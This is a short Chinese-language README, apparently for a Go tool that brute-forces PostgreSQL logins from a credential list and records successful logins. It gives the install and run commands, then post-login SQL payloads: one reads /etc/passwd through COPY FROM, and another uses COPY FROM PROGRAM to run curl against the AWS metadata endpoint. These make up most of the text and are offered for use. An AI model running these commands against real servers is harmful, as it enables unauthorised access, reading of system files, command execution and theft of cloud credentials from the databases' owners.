这个 Go 脚本从名为 creds.txt 的文件中读取用户名和密码列表,并针对 PostgreSQL 数据库进行测试。
该脚本接受 PostgreSQL 服务器的 IP 作为命令行参数,或接受包含 IP 的文本文件。
如果访问被授予,脚本会将此输出写入名为 pg-output.txt 的文件中。
如果 postgres 用户可用,这通常是一个超级用户,可以允许 RCE、LFI 或 SSRF。
go install -v github.com/RandomRobbieBF/postgres-bruteforcer@latest
go run postgres-brute.go 1.1.1.1
postgres
获取 /etc/passwd/
CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;
SSRF - 获取 AWS 元数据
CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;